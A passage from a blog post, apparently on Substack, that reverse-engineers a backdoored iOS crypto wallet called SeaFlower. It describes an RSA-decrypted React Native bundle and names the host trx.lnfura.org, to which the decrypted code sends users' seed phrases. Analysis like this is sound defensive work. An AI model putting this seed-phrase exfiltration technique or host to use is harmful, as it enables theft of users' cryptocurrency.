stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">there&#8217;s a function at 0x1001339cc calling <strong>dataWithContentsOfFile</strong>:<strong>options</strong>:<strong>error</strong></figcaption></figure></div><p>This function is called by <strong>RCTJavascriptLoader::loadBundleAtURL</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cOTu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cOTu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 424w, https://substackcdn.com/image/fetch/$s_!cOTu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 848w, https://substackcdn.com/image/fetch/$s_!cOTu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 1272w, https://substackcdn.com/image/fetch/$s_!cOTu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cOTu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png" width="1000" height="164" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:164,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cOTu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 424w, https://substackcdn.com/image/fetch/$s_!cOTu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 848w, https://substackcdn.com/image/fetch/$s_!cOTu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 1272w, https://substackcdn.com/image/fetch/$s_!cOTu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ef32ddb-5623-4fad-928c-3e4eeb801939_1000x164.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>At this point, we can conclude that the author is trying to inject a backdoor in the form of a React Native Bundle and have it loaded by <strong><a href="https://github.com/facebook/react-native/blob/main/React/Base/RCTJavaScriptLoader.h">RCTJavascriptLoader</a> </strong>used by the <strong>RCTBridge</strong> to load javascript.</p><p>Every react native app starts with the creation of an <strong>RCTBridge</strong> instance. In this, react native loads the javascript, either from the local packager or a pre-built bundle, and executes this inside <strong>JavascriptCore</strong>.</p><p>We are left with one last exercise to confirm all this and call it a wrap by analyzing the weird class <strong>FKKKSDFDFFADS.</strong></p><p>Below is the decompilation of the method <strong>FKKKSDFDFFADS::ddsdf:</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!50V4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!50V4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 424w, https://substackcdn.com/image/fetch/$s_!50V4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 848w, https://substackcdn.com/image/fetch/$s_!50V4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 1272w, https://substackcdn.com/image/fetch/$s_!50V4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!50V4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png" width="750" height="408" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:408,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!50V4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 424w, https://substackcdn.com/image/fetch/$s_!50V4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 848w, https://substackcdn.com/image/fetch/$s_!50V4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 1272w, https://substackcdn.com/image/fetch/$s_!50V4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34d5ead8-fc11-4c68-b9d3-3fafe59ea5d1_750x408.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_D89!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_D89!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 424w, https://substackcdn.com/image/fetch/$s_!_D89!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 848w, https://substackcdn.com/image/fetch/$s_!_D89!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 1272w, https://substackcdn.com/image/fetch/$s_!_D89!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_D89!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png" width="1000" height="511" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:511,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_D89!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 424w, https://substackcdn.com/image/fetch/$s_!_D89!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 848w, https://substackcdn.com/image/fetch/$s_!_D89!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 1272w, https://substackcdn.com/image/fetch/$s_!_D89!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed3aa61e-8a84-4f4b-8eab-3e8872b90682_1000x511.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">decompilation of <strong>FKKKSDFDFFADS::ddsdf</strong></figcaption></figure></div><p>Interesting :) I can see base64 blob of typical RSA pivate key/ public keys What this function does is RSA decrypting an RSA encrypted blob encoded in b64. The author linked the library with antoher library called SCRSACryptor and found reference to it in github here: <a href="https://github.com/xialun/RSAClass">https://github.com/xialun/RSAClass</a></p><p>so I just created a project in xcode, extracted the b64 encrypted blob and the RSA keys, linked it to this library, and wrote the following code snippet to decrypt the blob:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cp34!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cp34!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 424w, https://substackcdn.com/image/fetch/$s_!cp34!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 848w, https://substackcdn.com/image/fetch/$s_!cp34!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 1272w, https://substackcdn.com/image/fetch/$s_!cp34!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cp34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png" width="1000" height="186" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:186,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cp34!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 424w, https://substackcdn.com/image/fetch/$s_!cp34!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 848w, https://substackcdn.com/image/fetch/$s_!cp34!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 1272w, https://substackcdn.com/image/fetch/$s_!cp34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F466c7de2-cbd6-4c8f-bff3-b9a7c074f2f3_1000x186.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>created an iOS project and ran it :</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wdiD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wdiD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 424w, https://substackcdn.com/image/fetch/$s_!wdiD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 848w, https://substackcdn.com/image/fetch/$s_!wdiD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 1272w, https://substackcdn.com/image/fetch/$s_!wdiD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wdiD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png" width="1000" height="719" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:719,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wdiD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 424w, https://substackcdn.com/image/fetch/$s_!wdiD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 848w, https://substackcdn.com/image/fetch/$s_!wdiD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 1272w, https://substackcdn.com/image/fetch/$s_!wdiD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bc4e69c-36ce-409e-87b1-3e4329a02e22_1000x719.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">decrypted SeaFlower backdoor</figcaption></figure></div><p>we finally got the missing <strong>startupload()</strong> function :) below is the code of this function:</p><p><a href="https://gist.github.com/tahaconfiant/e3c6e8e679ffb10f4157b25a28f565e2#file-seaflower2-js">https://gist.github.com/tahaconfiant/e3c6e8e679ffb10f4157b25a28f565e2#file-seaflower2-js</a></p><p>Above is the source code startupload() function, all what it does is sending a POST request to the <strong>trx.lnfura.org </strong>domain with the seed phrase information that is stored in the variable <strong>xlmnmonic.</strong></p><p>starting from line 59, we can see code starting with a <strong>__BUNDLE_START_TIME__</strong> confirming that we are dealing with typical React Native Bundle. The code is basically related to the runtime loading of this bundle and to resolving module dependencies, etc:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!z1nJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!z1nJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 424w, https://substackcdn.com/image/fetch/$s_!z1nJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 848w, https://substackcdn.com/image/fetch/$s_!z1nJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 1272w, https://substackcdn.com/image/fetch/$s_!z1nJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!z1nJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png" width="1000" height="524" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/79349558-4670-45b6-9530-61bd46c287e1_1000x524.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:524,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!z1nJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 424w, https://substackcdn.com/image/fetch/$s_!z1nJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 848w, https://substackcdn.com/image/fetch/$s_!z1nJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 1272w, https://substackcdn.com/image/fetch/$s_!z1nJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79349558-4670-45b6-9530-61bd46c287e1_1000x524.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" 